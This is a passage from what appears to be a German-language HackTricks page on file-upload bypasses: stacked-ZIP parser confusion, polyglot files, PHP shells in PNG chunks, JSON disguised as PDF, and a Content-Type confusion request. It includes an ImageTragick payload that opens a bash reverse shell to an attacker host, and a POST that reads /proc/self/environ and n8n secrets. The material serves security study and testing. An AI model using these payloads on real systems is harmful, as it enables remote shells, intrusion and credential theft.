Das Aneinanderhängen zweier gültiger ZIP-Dateien erzeugt einen Blob, bei dem verschiedene parser sich auf unterschiedliche EOCD-Einträge konzentrieren. Viele Tools suchen das letzte End Of Central Directory (EOCD), während einige Bibliotheken (z. B. ZipArchive in bestimmten Workflows) möglicherweise das erste gefundene Archiv parsen. Wenn die validation das erste Archiv aufzählt und die extraction ein anderes Tool nutzt, das das letzte EOCD berücksichtigt, kann ein harmloses Archiv die Checks bestehen, während ein bösartiges extrahiert wird.
PoC:
# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2
# Stack them
cat zip1.zip zip2.zip > combo.zip
# Different views
unzip -l combo.zip # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'
Missbrauchsmuster
- Erstelle ein harmloses Archiv (erlaubter Typ, z. B. eine PDF) und ein zweites Archiv, das eine blockierte Dateiendung enthält (z. B.
shell.php). - Füge sie zusammen:
cat benign.zip evil.zip > combined.zip. - Wenn der Server mit einem Parser validiert (sieht benign.zip), aber mit einem anderen entpackt (verarbeitet evil.zip), landet die blockierte Datei im Extraktionspfad.
ImageTragic
Lade diesen Inhalt mit einer Bild-Endung hoch, um die Sicherheitslücke (ImageMagick , 7.0.1-1) auszunutzen (aus dem exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
Einbetten einer PHP-Shell in PNG
Das Einbetten einer PHP-Shell in den IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungsoperationen effektiv umgehen. Die Funktionen imagecopyresized und imagecopyresampled aus PHP-GD sind in diesem Zusammenhang besonders relevant, da sie üblicherweise zum Skalieren bzw. Resampeln von Bildern verwendet werden. Dass die eingebettete PHP-Shell von diesen Operationen unberührt bleibt, ist für bestimmte Anwendungsfälle ein großer Vorteil.
Eine ausführliche Untersuchung dieser Technik, einschließlich Methodik und möglichen Anwendungen, findet sich in folgendem Artikel: “Encoding Web Shells in PNG IDAT chunks”. Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Auswirkungen.
More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Polyglot-Dateien
Polyglot-Dateien sind ein einzigartiges Werkzeug in der Cybersicherheit und funktionieren wie Chamäleons, die gleichzeitig in mehreren Dateiformaten gültig existieren können. Ein interessantes Beispiel ist ein GIFAR, ein Hybrid, der sowohl als GIF als auch als RAR-Archiv fungiert. Solche Dateien sind nicht auf dieses Paar beschränkt; Kombinationen wie GIF und JS oder PPT und JS sind ebenfalls denkbar.
Der Hauptnutzen von Polyglots liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien nach Typ filtern. Übliche Praxis in vielen Anwendungen ist es, nur bestimmte Dateitypen für den Upload zuzulassen — wie JPEG, GIF oder DOC — um das Risiko durch potenziell schädliche Formate (z. B. JS, PHP oder Phar-Dateien) zu mindern. Ein Polyglot, das gleichzeitig die Strukturanforderungen mehrerer Dateitypen erfüllt, kann diese Beschränkungen jedoch unbemerkt umgehen.
Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Einschränkungen. Beispielsweise kann ein Polyglot gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG verkörpern, doch der Erfolg des Uploads kann von den Richtlinien der Plattform bezüglich Dateiendungen abhängen. Wenn das System strikt bei erlaubten Extensions ist, reicht die bloße strukturelle Dualität eines Polyglots möglicherweise nicht aus, um den Upload zu gewährleisten.
More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Upload valid JSONs like if it was PDF
Wie man Dateityp-Erkennungen vermeidet, indem man eine gültige JSON-Datei hochlädt, obwohl das nicht erlaubt ist, indem man sie als PDF fälscht (Techniken aus this blog post):
mmmagiclibrary: Solange die%PDFMagic-Bytes in den ersten 1024 Bytes enthalten sind, ist sie gültig (Beispiel im Post)pdfliblibrary: Füge ein gefälschtes PDF-Format in ein Feld der JSON ein, sodass die Library denkt, es sei ein PDF (Beispiel im Post)filebinary: Es kann bis zu 1048576 Bytes aus einer Datei lesen. Erstelle einfach eine JSON, die größer ist, sodass es den Inhalt nicht als JSON parsen kann, und füge dann innerhalb der JSON den initialen Teil eines echten PDF ein — es wird denken, es sei ein PDF
Content-Type-Verwirrung für beliebiges Datei-Lesen
Einige Upload-Handler vertrauen dem geparsten Request-Body (z. B. context.getBodyData().files) und kopieren später die Datei von file.filepath, ohne zuvor Content-Type: multipart/form-data durchzusetzen. Wenn der Server application/json akzeptiert, kannst du ein gefälschtes files-Objekt bereitstellen, das filepath auf beliebigen lokalen Pfad zeigt, und den Upload-Flow so in ein Primitive für beliebiges Datei-Lesen verwandeln.
Beispiel-POST gegen einen Formular-Workflow, der das hochgeladene Binary in der HTTP-Antwort zurückgibt:
POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json
{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}
Das Backend kopiert file.filepath, daher gibt die Antwort den Inhalt dieses Pfads zurück. Typische Kette: /proc/self/environ lesen, um $HOME zu ermitteln, dann $HOME/.n8n/config für Schlüssel und $HOME/.n8n/database.sqlite für Benutzer-IDs.
References
- n8n form upload Content-Type confusion → arbitrary file read PoC
- When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
- https://blog.doyensec.com/2025/01/09/cspt-file-upload.html
- usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)
- NVD – CVE-2023-45878
- 0xdf – HTB: TheFrizz
- The Art of PHP: CTF‑born exploits and techniques
- CVE-2024-21546 – NVD entry
- PoC gist for LFM .php. bypass
- 0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)
- HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM
- Microsoft – mklink (command reference)
- 0xdf – HTB: Certificate (ZIP NUL-name and stacked ZIP parser confusion → PHP RCE)
- When Audits Fail: From Pre-Auth SSRF to RCE in TRUfusion Enterprise
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


